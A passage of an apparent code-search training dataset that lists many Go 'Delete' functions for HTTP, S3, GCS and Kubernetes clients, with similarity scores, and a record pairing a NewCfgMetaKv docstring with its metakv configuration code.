c.httpClient.Do(req)\n\n\tif err != nil {\n\t\tlog.Error(\"POST request error:\", err)\n\t\treturn err\n\t}\n\t// this is required to properly empty the buffer for the next call\n\tdefer func() {\n\t\tio.Copy(ioutil.Discard, resp.Body)\n\t}()\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tbody, err := ioutil.ReadAll(resp.Body)\n\t\tlog.Error(err, \": \", string(body))\n\t}\n\n\treturn err\n}", "func (self *Client) Delete(dst interface{}, path string, data url.Values) error {\n\tvar addr *url.URL\n\tvar err error\n\tvar body *strings.Reader\n\n\tif addr, err = url.Parse(self.Prefix + strings.TrimLeft(path, \"/\")); err != nil {\n\t\treturn err\n\t}\n\n\tif data != nil {\n\t\tbody = strings.NewReader(data.Encode())\n\t}\n\n\treturn self.newRequest(dst, \"DELETE\", addr, body)\n}", "func (b *Bucket) Delete(_ context.Context, name string) error {\n\treturn b.client.DeleteObject(b.name, name)\n}", "func (api *objectAPI) Delete(obj *objstore.Object) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ObjstoreV1().Object().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleObjectEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}", "func (b *Bucket) Delete(filename string) error {\n\t// set session\n\tsess, err := b.setSession()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsvc := b.newS3func(sess)\n\t_, err = svc.DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(b.BucketName),\n\t\tKey: aws.String(crPath + filename),\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error deleting %s from bucket %s : %s\", filename, b.BucketName, err.Error())\n\t}\n\n\terr = svc.WaitUntilObjectNotExists(&s3.HeadObjectInput{\n\t\tBucket: aws.String(b.BucketName),\n\t\tKey: aws.String(crPath + filename),\n\t})\n\treturn err\n}", "func (handler *BucketWebHandler) Delete(w http.ResponseWriter, r *http.Request) {\n\trespondWithError(w, http.StatusNotImplemented, \"Not implemented\", nil)\n}", "func Delete(c *gophercloud.ServiceClient, idOrURL string) (r DeleteResult) {\n\tvar url string\n\tif strings.Contains(idOrURL, \"/\") {\n\t\turl = idOrURL\n\t} else {\n\t\turl = deleteURL(c, idOrURL)\n\t}\n\tresp, err := c.Delete(url, nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (p *PluginClient) Delete(ctx context.Context, baseURL *duckv1.Addressable, path string, options ...OptionFunc) error {\n\toptions = append(defaultOptions, options...)\n\n\trequest := p.R(ctx, baseURL, options...)\n\tresponse, err := request.Delete(p.fullUrl(baseURL, path))\n\n\treturn p.HandleError(response, err)\n}", "func Delete(url string) *THttpClient {\r\n\treturn NewHttpClient(url).Delete(\"\")\r\n}", "func Delete(url string, data ...interface{}) (*Response, error) {\n\tr := NewRequest()\n\treturn r.Delete(url, data...)\n}", "func (v *DCHttpClient) Delete(\n\turl string, headers map[string]string) (response *DCHttpResponse, err error) {\n\treturn v.DoWithoutContent(http.MethodDelete, url, headers)\n}", "func (c *Client) Delete(url string, resType interface{}) error {\n\treturn c.CallAPI(\"DELETE\", url, nil, resType, true)\n}", "func (adp *s3Storage) Delete(ctx context.Context, filename string) error {\n\t_, err := s3.New(adp.dsn.Sess).DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(adp.dsn.Bucket),\n\t\tKey: aws.String(adp.dsn.Join(filename)),\n\t})\n\treturn err\n}", "func (h *EcrHandler) Delete(obj interface{}) error {\n\treturn nil\n}", "func Delete(uri string) error {\n\treq, err := http.NewRequest(\"DELETE\", Host+uri, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tres, err := Client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != 204 {\n\t\treturn fmt.Errorf(\"got %d\", res.StatusCode)\n\t}\n\n\treturn nil\n}", "func Delete(url string, token string, client http.Client) (err error) {\n\treq, err := http.NewRequest(\"DELETE\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Header.Set(\"X-Auth-Token\", token)\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Expecting a successful delete\n\tif !(resp.StatusCode == 200 || resp.StatusCode == 202 || resp.StatusCode == 204) {\n\t\terr = fmt.Errorf(\"Unexpected server response status code on Delete '%s'\", resp.StatusCode)\n\t\treturn\n\t}\n\n\treturn nil\n}", "func Delete(url string) (*http.Response, error) {\n\treq, err := http.NewRequest(\"DELETE\", url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn http.DefaultClient.Do(req)\n}", "func Delete() {\n\treqUrl := \"https://jsonplaceholder.typicode.com/posts/1\"\n\n\tclient := http.Client{}\n\n\treq, err := http.NewRequest(http.MethodDelete, reqUrl, bytes.NewBuffer(make([]byte, 0)))\n\n\tcheckError(err)\n\n\tresp, respErr := client.Do(req)\n\n\tcheckError(respErr)\n\n\tfmt.Println(resp.StatusCode)\n}", "func (F *Frisby) Delete(url string) *Frisby {\n\tF.Method = \"DELETE\"\n\tF.Url = url\n\treturn F\n}", "func (h *Handler) Delete(bucket, name string) error {\n\treq := h.Client.DeleteObjectRequest(&s3.DeleteObjectInput{\n\t\tBucket: &bucket,\n\t\tKey: &name,\n\t})\n\n\tresp, err := req.Send(context.Background())\n\tif err != nil {\n\t\tklog.Error(\"Failed to send Delete request. error: \", err)\n\t\treturn err\n\t}\n\n\tklog.V(10).Info(\"Delete Success\", resp)\n\n\treturn nil\n}", "func (dc Datacenter) Delete(client MetalCloudClient) error {\n\treturn nil\n}", "func Delete() error {\n\n}", "func (b *Bucket) Delete(ctx context.Context, name string) error {\n\treturn b.bkt.Object(name).Delete(ctx)\n}", "func Delete(url string, authHeader string) (int, []byte) {\n\tcode, _, response := DeleteWithHeaderInResult(url, authHeader)\n\treturn code, response\n}", "func Delete(url string, r io.Reader, w io.Writer, clientGenerator func() *http.Client, reqTuner ...func(*http.Request)) error {\n\treturn Request(\"DELETE\", url, r, w, clientGenerator, reqTuner...)\n}", "func Delete(path string, fn http.HandlerFunc, c ...alice.Constructor) {\n\tinfoMutex.Lock()\n\trecord(\"DELETE\", path)\n\tr.Delete(path, alice.New(c...).ThenFunc(fn).(http.HandlerFunc))\n\tinfoMutex.Unlock()\n}", "func (o *Object) Delete(ctx context.Context, c client.Client, namespace string) error {\n\tobj := o.Type.DeepCopyObject().(client.Object)\n\tkind := obj.GetObjectKind().GroupVersionKind().Kind\n\tkey := objectKey(namespace, o.Name)\n\tif err := c.Get(ctx, key, obj); err != nil {\n\t\tif apierrors.IsNotFound(err) {\n\t\t\treturn nil\n\t\t}\n\t\treturn errors.Wrapf(err, \"could not get %s '%s'\", kind, key.String())\n\t}\n\tif err := c.Delete(ctx, obj); err != nil {\n\t\treturn errors.Wrapf(err, \"could not delete %s '%s'\", kind, key.String())\n\t}\n\treturn nil\n}", "func Delete(path string, fn http.HandlerFunc, c ...alice.Constructor) {\n\trecord(\"DELETE\", path)\n\n\tinfoMutex.Lock()\n\tr.DELETE(path, Handler(alice.New(c...).ThenFunc(fn)))\n\tinfoMutex.Unlock()\n}", "func (b *Bucket) Delete(_ context.Context, name string) error {\n\tdelete(b.objects, name)\n\treturn nil\n}", "func (api *distributedservicecardAPI) Delete(obj *cluster.DistributedServiceCard) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ClusterV1().DistributedServiceCard().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleDistributedServiceCardEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}", "func (r *FakeClient) Delete(ctx context.Context, obj client.Object, opts ...client.DeleteOption) error {\n\tdelete(r.objects, util.NamespacedName(obj))\n\treturn nil\n}", "func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\r\n\t_, r.Err = client.Delete(deleteURL(client, id), nil)\r\n\treturn\r\n}", "func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := c.Delete(resourceURL(c, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (r *VCMPResource) Delete(id string) error {\n\tif err := r.c.ModQuery(\"DELETE\", BasePath+VCMPEndpoint+\"/\"+id, nil); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (cl *Client) Delete(c context.Context, url string, opts ...RequestOption) (*Response, error) {\n\treq, err := cl.NewRequest(c, http.MethodDelete, url, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn cl.Do(c, req)\n}", "func (d *Datastore) Delete(k ds.Key) error {\n\td.l.Infow(\"deleting object\", \"key\", k)\n\t_, err := d.S3.DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(d.Bucket),\n\t\tKey: aws.String(d.s3Path(k.String())),\n\t})\n\tif err != nil {\n\t\td.l.Errorw(\"failed to delete object\", \"error\", err)\n\t\treturn parseError(err)\n\t}\n\td.l.Info(\"successfully deleted object\")\n\treturn nil\n}", "func (s *Nap) Delete(pathURL string) *Nap {\n\ts.method = MethodDelete\n\treturn s.Path(pathURL)\n}", "func (s *Storage) Delete(request *openapi.BackupRequest) error {\n\tfor _, v := range request.Envs {\n\t\tos.Setenv(v.Name, v.Value)\n\t}\n\tctx := context.Background()\n\tclient, err := getClient(ctx)\n\tif err != nil {\n\t\tlog.Printf(\"Error delete/getClient for %s:%s, error: %v\", request.Bucket, request.Location, err)\n\t\treturn fmt.Errorf(\"Cannot get Client: %v\", err)\n\t}\n\tdefer client.Close()\n\n\tctx, cancel := context.WithTimeout(ctx, time.Second*60)\n\tdefer cancel()\n\n\tlocation := request.Location\n\tif request.Location[0:1] == \"/\" {\n\t\tlocation = request.Location[1:]\n\t}\n\to := client.Bucket(request.Bucket).Object(location)\n\tif err := o.Delete(ctx); err != nil {\n\t\tlog.Printf(\"Error delete/Delete for %s:%s, error: %v\", request.Bucket, request.Location, err)\n\t\treturn fmt.Errorf(\"Object(%q).Delete: %v\", request.Location, err)\n\t}\n\tfmt.Printf(\"Delete for %s:%s deleted.\\n\", request.Bucket, request.Location)\n\treturn nil\n}", "func Delete(ctx context.Context, c client.Writer, ref *corev1.ObjectReference) error {\n\tobj := new(unstructured.Unstructured)\n\tobj.SetAPIVersion(ref.APIVersion)\n\tobj.SetKind(ref.Kind)\n\tobj.SetName(ref.Name)\n\tobj.SetNamespace(ref.Namespace)\n\tif err := c.Delete(ctx, obj); err != nil {\n\t\treturn errors.Wrapf(err, \"failed to delete %s external object %q/%q\", obj.GetKind(), obj.GetNamespace(), obj.GetName())\n\t}\n\treturn nil\n}", "func (b *Builder) Delete(url string) *Builder {\n\tb.Url = url\n\tb.Method = http.MethodDelete\n\treturn b\n}", "func (api *versionAPI) Delete(obj *cluster.Version) error {\n\tif api.ct.resolver != nil {\n\t\tapicl, err := api.ct.apiClient()\n\t\tif err != nil {\n\t\t\tapi.ct.logger.Errorf(\"Error creating API server clent. Err: %v\", err)\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = apicl.ClusterV1().Version().Delete(context.Background(), &obj.ObjectMeta)\n\t\treturn err\n\t}\n\n\tapi.ct.handleVersionEvent(&kvstore.WatchEvent{Object: obj, Type: kvstore.Deleted})\n\treturn nil\n}", "func (r *Request) Delete(url string) (*Response, error) {\n\treturn r.Execute(MethodDelete, url)\n}", "func (r Requester) Delete(path string) Requester {\n\treq, err := http.NewRequest(http.MethodDelete, r.url, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tr.httpRequest = req\n\treturn r\n}", "func (s *Storage) Delete(ctx context.Context, uri string) error {\n\tbucket, key, err := parseURI(uri)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = s3.New(s.session).DeleteObjectWithContext(\n\t\tctx,\n\t\t&s3.DeleteObjectInput{\n\t\t\tBucket: aws.String(bucket),\n\t\t\tKey: aws.String(key),\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"delete object from s3\")\n\t}\n\n\treturn nil\n}", "func (t *FakeObjectTracker) Delete(gvr schema.GroupVersionResource, ns, name string) error {\n\treturn nil\n}", "func Delete(client *occlient.Client, kClient *kclient.Client, urlName string, applicationName string, urlType localConfigProvider.URLKind, isS2i bool) error {\n\tif urlType == localConfigProvider.INGRESS {\n\t\treturn kClient.DeleteIngress(urlName)\n\t} else if urlType == localConfigProvider.ROUTE {\n\t\tif isS2i {\n\t\t\t// Namespace the URL name\n\t\t\tvar err error\n\t\t\turlName, err = util.NamespaceOpenShiftObject(urlName, applicationName)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"unable to create namespaced name\")\n\t\t\t}\n\t\t}\n\n\t\treturn client.DeleteRoute(urlName)\n\t}\n\treturn errors.New(\"url type is not supported\")\n}", "func (g *gcs) Delete(ctx context.Context, remotePath string) (err error) {\n\tif err = g.bucket.Object(remotePath).Delete(g.context); err != nil {\n\t\treturn err\n\t}\n\n\treturn\n}", "func (c *OperatorDNS) Delete(bucket string) error {\n\tctx, cancel := context.WithTimeout(context.Background(), defaultOperatorContextTimeout)\n\tdefer cancel()\n\te, err := c.endpoint(bucket, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequestWithContext(ctx, http.MethodPost, e, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err = c.addAuthHeader(req); err != nil {\n\t\treturn err\n\t}\n\tresp, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\txhttp.DrainBody(resp.Body)\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"request to delete the service for bucket %s, failed with status %s\", bucket, resp.Status)\n\t}\n\treturn nil\n}", "func (b NeteaseNOSBackend) DeleteObject(path string) error {\n\tkey := pathutil.Join(b.Prefix, path)\n\n\tobjectRequest := &model.ObjectRequest{\n\t\tBucket: b.Bucket,\n\t\tObject: key,\n\t}\n\n\terr := b.Client.DeleteObject(objectRequest)\n\treturn err\n}", "func (s *Service) doDelete(ctx *context.Context, url string) *types.Error {\n\n\tbucket := \"l8ldiytwq83d8ckg\"\n\tsess, err := session.NewSession(&aws.Config{})\n\tif err != nil {\n\t\treturn nil\n\t}\n\tsvc := s3.New(sess)\n\n\t_, errObject := svc.DeleteObject(&s3.DeleteObjectInput{Bucket: aws.String(bucket), Key: aws.String(url)})\n\tif errObject != nil {\n\t\terr := &types.Error{\n\t\t\tPath: \".uploaderService->doDelete()\",\n\t\t\tMessage: errObject.Error(),\n\t\t\tError: errObject,\n\t\t\tType: \"aws-error\",\n\t\t}\n\t\treturn err\n\t}\n\terrObject = svc.WaitUntilObjectNotExists(&s3.HeadObjectInput{\n\t\tBucket: aws.String(bucket),\n\t\tKey: aws.String(url),\n\t})\n\tif errObject != nil {\n\t\terr := &types.Error{\n\t\t\tPath: \".uploaderService->doDelete()\",\n\t\t\tMessage: errObject.Error(),\n\t\t\tError: errObject,\n\t\t\tType: \"aws-error\",\n\t\t}\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (f5 *f5LTM) delete(url string, result interface{}) error {\n\treturn f5.restRequest(\"DELETE\", url, nil, result)\n}", "func (rb *RequestBuilder) Delete(url string) *Response {\n\treturn rb.DoRequest(http.MethodDelete, url, nil)\n}", "func DeleteURL(w http.ResponseWriter, r *http.Request) {\n\t// w.Header().Set(\"Content-Type\", \"application/json\")\n\t// w.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\tw.Header().Set(\"Access-Control-Allow-Methods\", \"POST\")\n\t// w.Header().Set(\"Access-Control-Allow-Headers\", \"Content-Type\")\n\n\tif !auth.IsValidToken(r.Header.Get(\"x-auth-token\")) {\n\t\tresp := response{Status: \"error\", Message: \"Invalid Token\"}\n\t\tjson.NewEncoder(w).Encode(resp)\n\t\treturn\n\t}\n\n\tvar reqURL models.URLShorten\n\t_ = json.NewDecoder(r.Body).Decode(&reqURL)\n\n\tfilter := bson.D{{\"_id\", reqURL.ID}}\n\n\tresult, err := collection.DeleteOne(context.TODO(), filter)\n\tif err != nil {\n\t\tlg.WriteError(err.Error())\n\t}\n\n\tjson.NewEncoder(w).Encode(response{\"okay\", fmt.Sprintf(\"deleted %v documents\", result.DeletedCount)})\n}", "func (r *ExternalRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}", "func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := c.Delete(deleteURL(c, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Delete(c *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := c.Delete(deleteURL(c, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (d *driver) Delete(ctx context.Context, path string) error {\n\treturn d.Bucket.Delete(ctx, path)\n}", "func (r *DOSProfileDOSNetworkResource) Delete(id string) error {\n\tif err := r.c.ModQuery(\"DELETE\", BasePath+DOSProfileDOSNetworkEndpoint+\"/\"+id, nil); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Delete(client *gophercloud.ServiceClient, id string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, id), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Delete(config *HTTPConfig) (*HTTPResult, error) {\n\treturn HandleRequest(\"DELETE\", config)\n}", "func (controller *WidgetController) Delete(context *qhttp.Context) {\n\tcontroller.storage.Delete(context.URIParameters[\"id\"])\n\tcontext.SetResponse(\"\", http.StatusNoContent)\n}", "func Delete(dest interface{}, uri string, data url.Values) error {\n\treturn DefaultClient.Delete(dest, uri, data)\n}", "func (c *Client) Delete(ctx context.Context, obj runtime.Object) error {\n\tlocal, err := c.convert(obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\tsecret := &corev1.Secret{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: local.Spec.Name,\n\t\t\tNamespace: local.ObjectMeta.Namespace,\n\t\t},\n\t}\n\treturn client.IgnoreNotFound((*c.kubeclient).Delete(ctx, secret))\n}", "func (ds *Datastore) Delete(key datastore.Key) error {\n\tc := ds.client()\n\n\tif has, err := ds.Has(key); has == false {\n\t\treturn datastore.ErrNotFound\n\t} else if err != nil {\n\t\treturn err\n\t}\n\n\t_, err := c.DeleteObject(&awsS3.DeleteObjectInput{\n\t\tKey: aws.String(ds.path(key)),\n\t\tBucket: aws.String(ds.Bucket),\n\t})\n\n\treturn err\n}", "func (tr *Transport) Delete(url string, fn HandlerFunc, options ...HandlerOption) {\n\ttr.mux.Handler(net_http.MethodDelete, url, encapsulate(fn, tr.options, options))\n}", "func (e EndPoint) Delete(container EndPointContainer) {\n\n\tentity := reflect.New(container.GetPrototype()).Interface()\n\tvar id int64\n\t_, err := fmt.Sscanf(container.GetRequest().URL.Query().Get(\":id\"), \"%d\", &id)\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusBadRequest)\n\t\treturn\n\t}\n\trepository := container.GetRepository()\n\n\terr = repository.FindByID(id, entity.(Entity))\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusNotFound)\n\t\treturn\n\t}\n\terr = container.GetSignal().Dispatch(&BeforeResourceDeleteEvent{})\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusInternalServerError)\n\t\treturn\n\t}\n\terr = repository.Delete(entity.(Entity))\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusInternalServerError)\n\t\treturn\n\t}\n\terr = container.GetSignal().Dispatch(&AfterResourceDeleteEvent{})\n\tif err != nil {\n\t\tcontainer.Error(err, http.StatusInternalServerError)\n\t\treturn\n\t}\n\tcontainer.GetResponseWriter().WriteHeader(http.StatusOK)\n}", "func (s NounResource) Delete(id string, r api2go.Request) (api2go.Responder, error) {\n\terr := s.NounStorage.Delete(id)\n\n\tif err != nil {\n\t\treturn &Response{Code: http.StatusNotFound}, api2go.NewHTTPError(err, err.Error(), http.StatusNotFound)\n\t}\n\n\treturn &Response{Code: http.StatusNoContent}, err\n}", "func Delete(ctx context.Context, client *v1.ServiceClient, domainID int) (*v1.ResponseResult, error) {\n\turl := strings.Join([]string{client.Endpoint, strconv.Itoa(domainID)}, \"/\")\n\tresponseResult, err := client.DoRequest(ctx, http.MethodDelete, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif responseResult.Err != nil {\n\t\terr = responseResult.Err\n\t}\n\n\treturn responseResult, err\n}", "func Delete(client *gophercloud.ServiceClient, trustID string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, trustID), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func (c *Client) Delete(path string) error {\n\treturn c.CreateAndDo(\"DELETE\", path, nil, nil, nil, nil)\n}", "func (rc *RequiredCapability) Delete() (error, error, int) {\n\tauthorized, err := rc.isTenantAuthorized()\n\tif !authorized {\n\t\treturn errors.New(\"not authorized on this tenant\"), nil, http.StatusForbidden\n\t} else if err != nil {\n\t\treturn nil, fmt.Errorf(\"checking authorization for existing DS ID: %s\" + err.Error()), http.StatusInternalServerError\n\t}\n\t_, cdnName, _, err := dbhelpers.GetDSNameAndCDNFromID(rc.ReqInfo.Tx.Tx, *rc.DeliveryServiceID)\n\tif err != nil {\n\t\treturn nil, err, http.StatusInternalServerError\n\t}\n\tuserErr, sysErr, errCode := dbhelpers.CheckIfCurrentUserCanModifyCDN(rc.ReqInfo.Tx.Tx, string(cdnName), rc.ReqInfo.User.UserName)\n\tif userErr != nil || sysErr != nil {\n\t\treturn userErr, sysErr, errCode\n\t}\n\treturn api.GenericDelete(rc)\n}", "func Delete(model Model) error {\n\tfullURL := model.RootURL() + \"/\" + model.GetId()\n\treq := xhr.NewRequest(\"DELETE\", fullURL)\n\treq.Timeout = 1000 // one second, in milliseconds\n\treq.ResponseType = \"text\"\n\terr := req.Send(nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Something went wrong with DELETE request to %s. %s\", fullURL, err.Error())\n\t}\n\treturn nil\n}", "func Delete(client *gophercloud.ServiceClient, regionID string) (r DeleteResult) {\n\tresp, err := client.Delete(deleteURL(client, regionID), nil)\n\t_, r.Header, r.Err = gophercloud.ParseResponse(resp, err)\n\treturn\n}", "func Delete(client *gophercloud.ServiceClient, id string, bearer map[string]string) (r volumes.DeleteResult) {\n\t_, r.Err = client.Delete(deleteURL(client, id), &gophercloud.RequestOpts{\n\t\tMoreHeaders: bearer,\n\t})\n\treturn\n}", "func Delete(client *gophercloud.ServiceClient, id string) DeleteResult {\n\tvar res DeleteResult\n\n\t_, res.Err = client.Request(\"DELETE\", resourceURL(client, id), gophercloud.RequestOpts{\n\t\tOkCodes: []int{202},\n\t})\n\n\treturn res\n}", "func (c *Client) DeleteObject(objectPath string) error {\n\tendpoint, _ := url.Parse(c.Endpoint.String())\n\tendpoint.Path = path.Join(endpoint.Path, objectPath)\n\n\treq, err := http.NewRequest(\"DELETE\", endpoint.String(), nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Error making the request: %v\", err)\n\t}\n\n\tres, err := c.HTTPClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif statusErr := errorFromCode(res.StatusCode); statusErr != nil {\n\t\treturn statusErr\n\t}\n\n\treturn nil\n}", "func (r *Request) Delete(url string) *Request {\n\tr.method = http.MethodDelete\n\tr.url = url\n\treturn r\n}", "func (fkw *FakeClientWrapper) Delete(ctx context.Context, obj runtime.Object, opts ...k8sCl.DeleteOption) error {\n\treturn fkw.client.Delete(ctx, obj, opts...)\n}", "func (c *Client) delete(rawURL string, authenticate bool, out interface{}) error {\n\terr := c.do(rawURL, \"DELETE\", authenticate, http.StatusOK, nil, out)\n\treturn errio.Error(err)\n}", "func (s S3Service) Delete(path string) (bool, error) {\n\t// get path of the file\n\n\t// config settings: this is where you choose the bucket,\n\t//filepath of the object that needs to be deleted\n\t// you're deleting\n\t_, err := s3.New(s.connectToS3()).DeleteObject(&s3.DeleteObjectInput{\n\t\tBucket: aws.String(s.Bucket),\n\t\tKey: aws.String(path),\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn true, err\n}", "func (r *ExternalConnectionRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}", "func (obj *RawCardSigner) Delete() {\n\tif obj == nil {\n\t\treturn\n\t}\n\truntime.SetFinalizer(obj, nil)\n\tobj.delete()\n}", "func (c *Client) Delete(id string) error {\n\t_, err := c.delete(c.url.String() + \"/\" + id)\n\treturn err\n}" ]
[ "0.7083206", "0.69798166", "0.67646945", "0.6641729", "0.6605921", "0.6537323", "0.6520792", "0.64636743", "0.6425648", "0.63892347", "0.63700897", "0.6363889", "0.63459784", "0.6345752", "0.6332789", "0.63315165", "0.6297441", "0.6253662", "0.62532675", "0.625238", "0.6237891", "0.6235279", "0.62268007", "0.6217693", "0.6199193", "0.61977565", "0.619038", "0.61820656", "0.6178799", "0.61684126", "0.6152124", "0.6143703", "0.6133197", "0.61124325", "0.607947", "0.6076153", "0.60612017", "0.6054079", "0.6043322", "0.6041035", "0.60155654", "0.6010098", "0.5997846", "0.5973156", "0.59695095", "0.5968825", "0.5963353", "0.5962063", "0.5959682", "0.5958999", "0.59561324", "0.59512293", "0.5947462", "0.59430856", "0.5941602", "0.59365124", "0.5934683", "0.59250796", "0.59087205", "0.59073645", "0.59054697", "0.5903059", "0.58985436", "0.5897869", "0.5897822", "0.58928806", "0.58846223", "0.587239", "0.5862873", "0.58579326", "0.58579326", "0.58486503", "0.5847559", "0.5845257", "0.5845257", "0.5845257", "0.5845257", "0.58365893", "0.5832921", "0.5831859", "0.5823414", "0.58197355", "0.5812698", "0.5811686", "0.5803835", "0.5799957", "0.579963", "0.57957", "0.57950103", "0.5794509", "0.578941", "0.5775039", "0.5772572", "0.5771234", "0.57686496", "0.5767998", "0.576729", "0.57656026", "0.5762139", "0.57552266", "0.57550883" ]
0.0
-1
NewCfgMetaKv returns a CfgMetaKv that reads and stores its single configuration file in the metakv.
func NewCfgMetaKv(nodeUUID string, options map[string]string) (*CfgMetaKv, error) { nsServerURL, _ := options["nsServerURL"] cfg := &CfgMetaKv{ prefix: CfgMetaKvPrefix, nodeUUID: nodeUUID, cfgMem: NewCfgMem(), cancelCh: make(chan struct{}), splitEntries: map[string]CfgMetaKvEntry{}, } backoffStartSleepMS := 200 backoffFactor := float32(1.5) backoffMaxSleepMS := 5000 leanPlanKeyPrefix = CfgMetaKvPrefix + leanPlanKeyPrefix cfg.nsServerUrl = nsServerURL + "/pools/default" go ExponentialBackoffLoop("cfg_metakv.RunObserveChildren", func() int { err := metakv.RunObserveChildren(cfg.prefix, cfg.metaKVCallback, cfg.cancelCh) if err == nil { return -1 // Success, so stop the loop. } log.Warnf("cfg_metakv: RunObserveChildren, err: %v", err) return 0 // No progress, so exponential backoff. }, backoffStartSleepMS, backoffFactor, backoffMaxSleepMS) return cfg, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func New(base mb.BaseMetricSet) (mb.MetricSet, error) {\n\n\tconfig := struct {\n\t\tKeys []string `config:\"keys\"`\n\t}{\n\t\tKeys: []string{},\n\t}\n\n\tif err := base.Module().UnpackConfig(&config); err != nil {\n\t\treturn nil, err\n\t}\n\n\tlogp.Warn(\"EXPERIMENTAL: The consulkv kv metricset is experimental %v\", config)\n\n\treturn &MetricSet{\n\t\tBaseMetricSet: base,\n\t\tkeys: config.Keys,\n\t}, nil\n}", "func New(path string) (*KV, error) {\n\tb, err := bolt.Open(path, 0644, nil)\n\treturn &KV{db: b}, err\n}", "func (k *Keybase) NewKV(team string) KV {\n\treturn KV{\n\t\tkeybase: k,\n\t\tTeam: team,\n\t}\n}", "func New(cfg *Config) *Engine {\n\tif cfg.OpenCacheSize == 0 {\n\t\tcfg.OpenCacheSize = DefaultOpenCacheSize\n\t}\n\n\tif cfg.BatchSize == 0 {\n\t\tcfg.BatchSize = DefaultBatchSize\n\t}\n\n\tif cfg.KVStore == \"\" {\n\t\tcfg.KVStore = DefaultKVStore\n\t}\n\n\tif cfg.KVConfig == nil {\n\t\tcfg.KVConfig = store.KVConfig{}\n\t}\n\n\tng := &Engine{\n\t\tconfig: cfg,\n\t\tstores: cache.NewLRUCache(cfg.OpenCacheSize),\n\t}\n\n\tif debug, ok := 